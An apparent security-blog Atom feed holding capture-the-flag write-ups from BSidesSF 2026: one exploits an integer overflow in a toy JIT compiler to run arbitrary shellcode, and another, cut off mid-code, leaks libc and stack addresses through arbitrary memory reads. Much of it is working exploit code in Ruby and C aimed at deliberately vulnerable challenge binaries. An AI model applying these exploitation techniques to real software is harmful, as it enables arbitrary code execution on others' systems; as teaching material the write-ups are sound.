<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://www.skullsecurity.org/feed" rel="self" type="application/atom+xml" /><link href="https://www.skullsecurity.org/" rel="alternate" type="text/html" /><updated>2026-04-20T16:42:39+00:00</updated><id>https://www.skullsecurity.org/feed</id><title type="html">SkullSecurity Blog</title><subtitle>Adventures In Security</subtitle><entry><title type="html">BSidesSF 2026: rugdoctor - a broken JIT compiler pwn challenge</title><link href="https://www.skullsecurity.org/2026/bsidessf-2026-rugdoctor-a-broken-jit-compiler-pwn-challenge" rel="alternate" type="text/html" title="BSidesSF 2026: rugdoctor - a broken JIT compiler pwn challenge" /><published>2026-03-30T20:55:49+00:00</published><updated>2026-03-30T20:55:49+00:00</updated><id>https://www.skullsecurity.org/2026/bsidessf-rugdoctor</id><content type="html" xml:base="https://www.skullsecurity.org/2026/bsidessf-2026-rugdoctor-a-broken-jit-compiler-pwn-challenge"><![CDATA[<p>This is a write-up for <code class="language-plaintext highlighter-rouge">rugdoctor</code>, which is a JIT compiler with a 16-bit
integer overflow. The integer overflow allows you to jump to the middle of
other instructions, to run small bits of code in between other instructions.</p>

<p>As always, you can find copies of the binaries, containers, and full solution
in our <a href="https://github.com/BSidesSF/ctf-2026-release">GitHub repo</a>!</p>

<!--more-->

<h2 id="the-language">The language</h2>

<p>I made a simple BASIC-like language that looks sorta like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let $a 10

loop $a
  let $b 10
  subv $b $a
  add $b 1
  print $b
endloop

exit 0
</code></pre></div></div>

<p>or:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let $b 3

loop $b
  let $a 72
  printchar $a
  let $a 101
  printchar $a
  let $a 108
  printchar $a
  let $a 108
  printchar $a
  let $a 111
  printchar $a
  let $a 32
  printchar $a
  let $a 87
  printchar $a
  let $a 111
  printchar $a
  let $a 114
  printchar $a
  let $a 108
  printchar $a
  let $a 100
  printchar $a
  let $a 10
  printchar $a
endloop

exit 0
</code></pre></div></div>

<p>Your code has access to four variables: <code class="language-plaintext highlighter-rouge">$A</code>, <code class="language-plaintext highlighter-rouge">$B</code>, <code class="language-plaintext highlighter-rouge">$C</code>, and <code class="language-plaintext highlighter-rouge">$D</code>.</p>

<p>And the instructions are:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">LET $VAR &lt;int32&gt;</code> - assign an immediate value to a variable</li>
  <li><code class="language-plaintext highlighter-rouge">LETV $VAR1 $VAR2</code> - copy a variable to another variable</li>
  <li><code class="language-plaintext highlighter-rouge">ADD $VAR &lt;int32&gt;</code> - add an immediate value to a variable</li>
  <li><code class="language-plaintext highlighter-rouge">ADDV $VAR1 $VAR2</code> - add two variables together (result is stored in <code class="language-plaintext highlighter-rouge">$VAR1</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">SUB $VAR &lt;int32&gt;</code> - subtract an immediate value from a variable</li>
  <li><code class="language-plaintext highlighter-rouge">SUBV $VAR1 $VAR2</code> - subtract <code class="language-plaintext highlighter-rouge">$VAR2</code> from <code class="language-plaintext highlighter-rouge">$VAR1</code> (result is stored in <code class="language-plaintext highlighter-rouge">$VAR1</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">MUL $VAR &lt;int32&gt;</code> - multiply a variable by an immediate value</li>
  <li><code class="language-plaintext highlighter-rouge">PRINT $VAR</code> - print the variable (as a number)</li>
  <li><code class="language-plaintext highlighter-rouge">PRINTCHAR $VAR</code> - print the variable (as a character)</li>
  <li><code class="language-plaintext highlighter-rouge">LOOP $VAR ... ENDLOOP</code> - loop <code class="language-plaintext highlighter-rouge">$VAR</code> times, deducting 1 from <code class="language-plaintext highlighter-rouge">$VAR</code> each iteration (always executes once)</li>
  <li><code class="language-plaintext highlighter-rouge">IF $VAR ... ENDIF</code> - only run the given block if <code class="language-plaintext highlighter-rouge">$VAR</code> is non-zero</li>
  <li><code class="language-plaintext highlighter-rouge">EXIT &lt;int32&gt;</code> - exit with an immediate value as the exit code</li>
</ul>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>The instructions are converted to amd64 code using a big <code class="language-plaintext highlighter-rouge">switch</code> statement:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">switch</span><span class="p">(</span><span class="n">command</span><span class="p">.</span><span class="n">keyword</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">case</span> <span class="n">COMMAND_COMMENT</span><span class="p">:</span>
    <span class="k">break</span><span class="p">;</span>

  <span class="k">case</span> <span class="n">COMMAND_LET</span><span class="p">:</span>
    <span class="c1">// mov &lt;reg&gt;, &lt;immediate&gt;</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">);</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0xbc</span> <span class="o">|</span> <span class="n">reg_mask</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="n">command</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">args_let</span><span class="p">.</span><span class="n">variable</span><span class="p">));</span>
    <span class="n">add_u32</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="n">command</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">args_let</span><span class="p">.</span><span class="n">immediate</span><span class="p">);</span>
    <span class="k">break</span><span class="p">;</span>

  <span class="k">case</span> <span class="n">COMMAND_LETV</span><span class="p">:</span>
    <span class="c1">// mov &lt;reg&gt;, &lt;immediate&gt;</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">);</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">);</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0xe4</span> <span class="o">|</span>
      <span class="p">(</span><span class="n">reg_mask</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="n">command</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">args_letv</span><span class="p">.</span><span class="n">variable2</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span>
      <span class="o">|</span> <span class="p">(</span><span class="n">reg_mask</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="n">command</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">args_letv</span><span class="p">.</span><span class="n">variable1</span><span class="p">))</span>
    <span class="p">);</span>
    <span class="k">break</span><span class="p">;</span>

  <span class="k">case</span> <span class="n">COMMAND_ADD</span><span class="p">:</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">);</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">);</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0xc4</span> <span class="o">|</span> <span class="p">(</span><span class="n">reg_mask</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="n">command</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">args_add</span><span class="p">.</span><span class="n">variable</span><span class="p">)));</span>
    <span class="n">add_u32</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="n">command</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">args_add</span><span class="p">.</span><span class="n">immediate</span><span class="p">);</span>
    <span class="k">break</span><span class="p">;</span>

  <span class="k">case</span> <span class="n">COMMAND_ADDV</span><span class="p">:</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">);</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">);</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0xe4</span> <span class="o">|</span>
      <span class="p">(</span><span class="n">reg_mask</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="n">command</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">args_addv</span><span class="p">.</span><span class="n">variable2</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span>
      <span class="o">|</span> <span class="p">(</span><span class="n">reg_mask</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="n">command</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">args_addv</span><span class="p">.</span><span class="n">variable1</span><span class="p">))</span>
    <span class="p">);</span>
    <span class="k">break</span><span class="p">;</span>

  <span class="c1">// .........</span>
</code></pre></div></div>

<p>The issue is in the <code class="language-plaintext highlighter-rouge">if</code> and <code class="language-plaintext highlighter-rouge">loop</code> operations:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">case</span> <span class="n">COMMAND_ENDIF</span><span class="p">:</span>
    <span class="k">if</span><span class="p">(</span><span class="n">state</span><span class="p">.</span><span class="n">in_if</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">error</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="s">"ENDIF without IF!"</span><span class="p">);</span>
    <span class="p">}</span>
  
    <span class="n">state</span><span class="p">.</span><span class="n">in_if</span> <span class="o">-=</span> <span class="mi">1</span><span class="p">;</span>
  
    <span class="c1">// Update the start of the if</span>
    <span class="kt">int32_t</span> <span class="n">if_jump</span> <span class="o">=</span> <span class="p">((</span><span class="kt">uint16_t</span><span class="p">)</span><span class="n">state</span><span class="p">.</span><span class="n">code_offset</span> <span class="o">-</span> <span class="p">(</span><span class="kt">uint16_t</span><span class="p">)</span><span class="n">state</span><span class="p">.</span><span class="n">if_address</span><span class="p">[</span><span class="n">state</span><span class="p">.</span><span class="n">in_if</span><span class="p">]</span> <span class="o">-</span> <span class="mi">4</span><span class="p">);</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="n">state</span><span class="p">.</span><span class="n">code_buffer</span> <span class="o">+</span> <span class="n">state</span><span class="p">.</span><span class="n">if_address</span><span class="p">[</span><span class="n">state</span><span class="p">.</span><span class="n">in_if</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">if_jump</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
  
    <span class="k">break</span><span class="p">;</span>
</code></pre></div></div>

<p>By casting the jump to <code class="language-plaintext highlighter-rouge">uint16_t</code>, any jump longer than 65,536 bytes will wrap
around and jump to the wrong place.</p>

<p><em>The trick is, that place might be in the middle of another instruction</em></p>

<p>Also, importantly, those instructions are executable because it’s JIT code.</p>

<h2 id="my-exploit">My exploit</h2>

<p>I used a series of <code class="language-plaintext highlighter-rouge">ADD</code> instructions, since they permit a free-form 32-bit
immediate:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">case</span> <span class="n">COMMAND_ADD</span><span class="p">:</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">);</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">);</span>
    <span class="n">add_u8</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="mh">0xc4</span> <span class="o">|</span> <span class="p">(</span><span class="n">reg_mask</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="n">command</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">args_add</span><span class="p">.</span><span class="n">variable</span><span class="p">)));</span>
    <span class="n">add_u32</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="p">,</span> <span class="n">command</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">args_add</span><span class="p">.</span><span class="n">immediate</span><span class="p">);</span>
    <span class="k">break</span><span class="p">;</span>
</code></pre></div></div>

<p>I set up the broken jump such that it jumps into the <code class="language-plaintext highlighter-rouge">immediate</code> of the first
<code class="language-plaintext highlighter-rouge">ADD</code> instruction. Then I use a series of 2-byte instructions followed by a very
short jump (<code class="language-plaintext highlighter-rouge">eb03</code> which means “jump 3 bytes ahead”) to reach the next
instruction:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">adds</span><span class="p">.</span><span class="nf">concat</span><span class="p">([</span>
  <span class="c1"># Padding</span>
  <span class="s2">"</span><span class="se">\xcc\xcc</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># This is jusssst skipped but required</span>

  <span class="c1"># Set rdi to 0 (to allocate memory anywhere)</span>
  <span class="s2">"</span><span class="se">\x6a\x00</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># push 0</span>
  <span class="s2">"</span><span class="se">\x5f\x90</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># pop rdi / nop</span>

  <span class="c1"># Set rsi to 1 (length - min size is a page, so it'll get rounded way up)</span>
  <span class="s2">"</span><span class="se">\x6a\x01</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># push 1</span>
  <span class="s2">"</span><span class="se">\x5e\x90</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># pop rsi</span>

  <span class="c1"># Set rdx to 7 (prot = read | write | exec)</span>
  <span class="s2">"</span><span class="se">\x6a\x07</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># push 7</span>
  <span class="s2">"</span><span class="se">\x5a\x90</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># pop rdx</span>

  <span class="c1"># Set r10 to 0x22 (flags = MAP_PRIVATE | MAP_ANONYMOUS)</span>
  <span class="s2">"</span><span class="se">\x6a\x22</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># push 0x22</span>
  <span class="s2">"</span><span class="se">\x41\x5a</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># pop r10</span>

  <span class="c1"># Set r8 to -1 (fd)</span>
  <span class="s2">"</span><span class="se">\x6a\xff</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># push -1</span>
  <span class="s2">"</span><span class="se">\x41\x58</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># pop r8</span>

  <span class="c1"># Set r9 to 0 (offset)</span>
  <span class="s2">"</span><span class="se">\x6a\x00</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># push 0</span>
  <span class="s2">"</span><span class="se">\x41\x59</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># pop r9</span>

  <span class="c1"># Set rax to 9 (the sys_mmap number)</span>
  <span class="s2">"</span><span class="se">\x6a\x09</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># push 9</span>
  <span class="s2">"</span><span class="se">\x58\x90</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># pop rax</span>

  <span class="c1"># syscall</span>
  <span class="s2">"</span><span class="se">\x0f\x05</span><span class="s2">"</span><span class="p">,</span>

  <span class="c1"># This map adds a `jmp $+3` after each instruction, which jumps to the next</span>
<span class="p">].</span><span class="nf">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">c</span><span class="o">|</span> <span class="s2">"</span><span class="si">#{</span> <span class="n">c</span> <span class="si">}</span><span class="se">\xeb\x03</span><span class="s2">"</span><span class="p">.</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'V'</span><span class="p">).</span><span class="nf">pop</span> <span class="p">})</span>
</code></pre></div></div>

<p>That uses a syscall to allocate some memory and return it in <code class="language-plaintext highlighter-rouge">rax</code>.</p>

<p>Populating the memory with shellcode was a bit trickier.</p>

<p>We back up <code class="language-plaintext highlighter-rouge">rax</code> in a different register:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># This code preserves that buffer by storing it in rbx</span>
<span class="n">adds</span> <span class="o">&lt;&lt;</span> <span class="s2">"</span><span class="se">\x50\x5b\xeb\x03</span><span class="s2">"</span><span class="p">.</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'V'</span><span class="p">).</span><span class="nf">pop</span> <span class="c1"># push rax / pop rbx</span>
</code></pre></div></div>

<p>Then for each byte of shellcode, we use a sorta complex write to write it to
memory. The problem is that I couldn’t find a way to do that in 2 bytes, so
I had to use 3 bytes. That means that I couldn’t use <code class="language-plaintext highlighter-rouge">eb03</code> for the jumps, I had
to use much longer jumps (specifically, 49 bytes).</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">SHELLCODE</span><span class="p">.</span><span class="nf">chars</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">c</span><span class="o">|</span>
  <span class="c1"># This instruction is 3 characters! That means we don't cleanly control the</span>
  <span class="c1"># jmp and are stuck jmp'ing the distance of the next instruction (which,</span>
  <span class="c1"># thankfully, hits code we control!)</span>
  <span class="c1"># mov byte ptr [rax], c / jmp $+49</span>
  <span class="n">adds</span> <span class="o">&lt;&lt;</span> <span class="s2">"</span><span class="se">\xc6\x00</span><span class="si">#{</span> <span class="n">c</span> <span class="si">}</span><span class="se">\xeb</span><span class="s2">"</span><span class="p">.</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'V'</span><span class="p">).</span><span class="nf">pop</span>

  <span class="c1"># This code is jumped over</span>
  <span class="n">adds</span><span class="p">.</span><span class="nf">concat</span><span class="p">([</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="mi">10</span><span class="p">)</span>

  <span class="c1"># The jmp $+49 hits the second byte of this, so we do a NOP and then our</span>
  <span class="c1"># standard jump $+3</span>
  <span class="n">adds</span> <span class="o">&lt;&lt;</span> <span class="s2">"</span><span class="se">\x00\x90\xeb\x03</span><span class="s2">"</span><span class="p">.</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'V'</span><span class="p">).</span><span class="nf">pop</span> <span class="c1"># &lt;-- this runs, starting at the second byte</span>

  <span class="c1"># This increments al - incrementing rax is too long, and incrementing eax</span>
  <span class="c1"># breaks the pointer</span>
  <span class="c1">#</span>
  <span class="c1"># We know that mmap() will always return page-aligned memory, so it's safe to</span>
  <span class="c1"># do this up to 255 times</span>
  <span class="n">adds</span> <span class="o">&lt;&lt;</span> <span class="s2">"</span><span class="se">\xfe\xc0\xeb\x03</span><span class="s2">"</span><span class="p">.</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'V'</span><span class="p">).</span><span class="nf">pop</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The 49-byte jump runs into the second byte of the 11th jump instruction.
Fortunately, we can use <code class="language-plaintext highlighter-rouge">\x90</code> (<code class="language-plaintext highlighter-rouge">nop</code>), then <code class="language-plaintext highlighter-rouge">\xeb\x03</code> to get back to the start
of a jump instruction. Then we increment <code class="language-plaintext highlighter-rouge">al</code> and do it again.</p>

<p>That creates a massive amount of code, but it works!</p>

<p>Finally, at the end, we <code class="language-plaintext highlighter-rouge">call rbx</code> (which is where we stored the <code class="language-plaintext highlighter-rouge">rax</code> starting
pointer):</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Finally, call rbx to give execution to our code</span>
<span class="n">adds</span> <span class="o">&lt;&lt;</span> <span class="s2">"</span><span class="se">\xff\xd3\xeb\x03</span><span class="s2">"</span><span class="p">.</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'V'</span><span class="p">).</span><span class="nf">pop</span>
</code></pre></div></div>

<p>Then add enough extra <code class="language-plaintext highlighter-rouge">ADD</code> instructions to hit the overflow we want:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># This adds enough junk to the end to cause the overflow</span>
<span class="n">adds</span><span class="p">.</span><span class="nf">concat</span><span class="p">([</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="p">(</span><span class="no">NEEDED_ADDS</span> <span class="o">-</span> <span class="n">adds</span><span class="p">.</span><span class="nf">length</span><span class="p">))</span>
</code></pre></div></div>

<p>Then build the BASIC-like code:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Build the code</span>
<span class="n">code</span> <span class="o">=</span> <span class="o">&lt;&lt;~</span><span class="no">CODE</span><span class="sh">
  let $b 0

  # This 'if' jumps too far, and ends up in the middle of an instruction
  if $b
  </span><span class="si">#{</span> <span class="n">adds</span><span class="p">.</span><span class="nf">map</span> <span class="p">{</span> <span class="o">|</span><span class="n">add</span><span class="o">|</span> <span class="s2">"    add $c </span><span class="si">#{</span> <span class="n">add</span> <span class="si">}</span><span class="se">\n</span><span class="s2">"</span> <span class="si">}</span><span class="sh">.join }
  endif

  exit 0
</span><span class="no">CODE</span>
</code></pre></div></div>

<p>The resulting code sorta looks like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>let $b 0

# This 'if' jumps too far, and ends up in the middle of an instruction
if $b
    add $c 1
    add $c 1
    add $c 1
    add $c 1
    add $c 1
    add $c 1
    add $c 1
    add $c 65785036
    add $c 65732714
    add $c 65769567
    add $c 65732970
    add $c 65769566
    add $c 65734506
# .............
    add $c 1
    add $c 1
    add $c 1
    add $c 1
    add $c 1
    add $c 1
    add $c 65769472
    add $c 65782014
    add $c 3947364550
    add $c 1
    add $c 1
    add $c 1
# ............
    add $c 1
    add $c 1
    add $c 1
    add $c 1

endif

exit 0
</code></pre></div></div>

<p>Which successfully runs any arbitrary shellcode!</p>]]></content><author><name>ron</name></author><category term="bsidessf-2026" /><category term="bsidessf" /><category term="ctfs" /><category term="pwn" /><category term="JIT" /><summary type="html"><![CDATA[This is a write-up for rugdoctor, which is a JIT compiler with a 16-bit integer overflow. The integer overflow allows you to jump to the middle of other instructions, to run small bits of code in between other instructions. As always, you can find copies of the binaries, containers, and full solution in our GitHub repo!]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" /><media:content medium="image" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">BSidesSF 2026: read(write(call))me - progressive pwn challenges</title><link href="https://www.skullsecurity.org/2026/bsidessf-2026-read-write-call-me-progressive-pwn-challenges" rel="alternate" type="text/html" title="BSidesSF 2026: read(write(call))me - progressive pwn challenges" /><published>2026-03-30T20:55:46+00:00</published><updated>2026-03-30T20:55:46+00:00</updated><id>https://www.skullsecurity.org/2026/bsidessf-readme</id><content type="html" xml:base="https://www.skullsecurity.org/2026/bsidessf-2026-read-write-call-me-progressive-pwn-challenges"><![CDATA[<p>This is a write-up for three “pwn” challenges - <code class="language-plaintext highlighter-rouge">readwritecallme</code>,
<code class="language-plaintext highlighter-rouge">readwriteme</code>, <code class="language-plaintext highlighter-rouge">readme</code>. They’re all pretty straight forward, and designed to
teach a specific exploit type: how to exploit an arbitrary memory write.</p>

<p>All three challenges let you read arbitrary memory, and the first two additionally
let you write to arbitrary memory. The final one (<code class="language-plaintext highlighter-rouge">readme</code>) only lets you read
memory, but it has a buffer overflow that lets you take control.</p>

<p>Technically, all three can be solved with the <code class="language-plaintext highlighter-rouge">readme</code> solution, but I’ll go
over my intended solutions for all three, since I think it’s helpful.</p>

<p>As always, you can find copies of the binaries, containers, and full solution
in our <a href="https://github.com/BSidesSF/ctf-2026-release">GitHub repo</a>!</p>

<!--more-->

<h2 id="readwritecallme"><code class="language-plaintext highlighter-rouge">readwritecallme</code></h2>

<p><code class="language-plaintext highlighter-rouge">readwritecallme</code> has:</p>
<ul>
  <li>I provide a copy of <code class="language-plaintext highlighter-rouge">libc.so</code> + the binary</li>
  <li>The player can read arbitrary memory</li>
  <li>The player can write arbitrary memory (provided they have permission to - no
writing code!)</li>
  <li>A <code class="language-plaintext highlighter-rouge">secret_function</code> exists that will print the flag if called</li>
</ul>

<p>The goal was basically to call the function.</p>

<p>There might be other solutions, but this is mine:</p>

<p>Use the PLT (a section of the <code class="language-plaintext highlighter-rouge">readwritecallme</code> binary, which is always loaded
to the same place) to get the address of <code class="language-plaintext highlighter-rouge">strtol</code> in libc:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># These read the binary to find the expected addresses in the binary + libc</span>
<span class="nb">puts</span> <span class="s2">"Finding libc base using strtol()..."</span>
<span class="n">plt_symbol_addr</span> <span class="o">=</span> <span class="n">get_plt_entry</span><span class="p">(</span><span class="no">FILE_READWRITECALLME</span><span class="p">,</span> <span class="s1">'strtol'</span><span class="p">)</span>
<span class="n">libc_symbol_addr</span> <span class="o">=</span> <span class="n">get_symbol</span><span class="p">(</span><span class="no">FILE_LIBC</span><span class="p">,</span> <span class="s1">'strtol'</span><span class="p">)</span>

<span class="c1"># Read the address from memory</span>
<span class="nb">puts</span> <span class="s2">"  * Reading address of 'strtol' from the PLT..."</span>
<span class="n">symbol_addr</span> <span class="o">=</span> <span class="n">read_uint64</span><span class="p">(</span><span class="n">plt_symbol_addr</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s2">"  * 'strtol' is @ 0x%x"</span> <span class="o">%</span> <span class="n">symbol_addr</span>

<span class="c1"># Do some math to find the start</span>
<span class="nb">puts</span> <span class="s1">'  * Rewinding to the start of libc...'</span>
<span class="n">base</span> <span class="o">=</span> <span class="n">symbol_addr</span> <span class="o">-</span> <span class="n">libc_symbol_addr</span>
<span class="nb">puts</span> <span class="s1">'  * libc starts @ 0x%x!'</span> <span class="o">%</span> <span class="n">base</span>

<span class="c1"># Sanity check</span>
<span class="k">if</span> <span class="p">(</span><span class="n">base</span> <span class="o">%</span> <span class="mh">0x1000</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span>
  <span class="k">raise</span> <span class="s2">"  The libc address isn't on a page boundary, I think there's a file mismatch..."</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Next, I used the <code class="language-plaintext highlighter-rouge">__environ</code> symbol to leak a stack address</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">puts</span> <span class="s2">"Finding stack-based return address via libc's __environ symbol..."</span>
<span class="n">environ</span> <span class="o">=</span> <span class="n">get_symbol</span><span class="p">(</span><span class="no">FILE_LIBC</span><span class="p">,</span> <span class="s1">'__environ'</span><span class="p">)</span> <span class="o">+</span> <span class="vi">@libc</span>
<span class="nb">puts</span> <span class="s1">'  * __environ is @ 0x%x'</span> <span class="o">%</span> <span class="n">environ</span>

<span class="n">environ_target</span> <span class="o">=</span> <span class="n">read_uint64</span><span class="p">(</span><span class="n">environ</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s1">'  * Stack address __environ points to = 0x%x'</span> <span class="o">%</span> <span class="n">environ_target</span>
</code></pre></div></div>

<p>Then walk backwards up the stack to find the return address (this could be
hardcoded, but because I was changing code as I developed I made it more
generic).</p>

<p>Basically, I start 1024 bytes past the point that <code class="language-plaintext highlighter-rouge">__environ</code> points to. I read
8 bytes at a time, and look for an address that’s plausibly in the <code class="language-plaintext highlighter-rouge">libc</code>
library (in the startup function).</p>

<p>If it’s plausibly in libc, I look for the <code class="language-plaintext highlighter-rouge">call rax</code> line (to confirm that it’s
actually the right line).</p>

<p>Here’s the code that finds the return address on the stack:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">CALL_MAIN</span> <span class="o">=</span> <span class="p">[</span>
  <span class="s2">"</span><span class="se">\xff\xd0</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># Docker</span>
  <span class="s2">"</span><span class="se">\xff\x55\x88</span><span class="s2">"</span><span class="p">,</span> <span class="c1"># Laptop</span>
<span class="p">]</span>

<span class="c1"># ...</span>

<span class="c1"># Search for the return address by looking for something that looks roughly</span>
<span class="c1"># like the right value (for speed), then following it and seeing if there's</span>
<span class="c1"># a call right before</span>
<span class="c1">#</span>
<span class="c1"># (This is a bit more complicated because we only want to call read() once,</span>
<span class="c1"># otherwise it's way slow)</span>
<span class="n">read</span><span class="p">(</span><span class="n">environ_target</span> <span class="o">-</span> <span class="mi">1024</span><span class="p">,</span> <span class="mi">1024</span><span class="p">).</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'Q*'</span><span class="p">).</span><span class="nf">each_with_index</span> <span class="k">do</span> <span class="o">|</span><span class="nb">test</span><span class="p">,</span> <span class="n">i</span><span class="o">|</span>
  <span class="c1"># Ignore values that are way off</span>
  <span class="k">if</span> <span class="nb">test</span> <span class="o">&lt;</span> <span class="vi">@libc</span>
    <span class="k">next</span>
  <span class="k">end</span>

  <span class="k">if</span> <span class="p">(</span><span class="nb">test</span> <span class="o">-</span> <span class="vi">@libc</span> <span class="o">&gt;</span> <span class="mh">0x100000</span><span class="p">)</span>
    <span class="k">next</span>
  <span class="k">end</span>

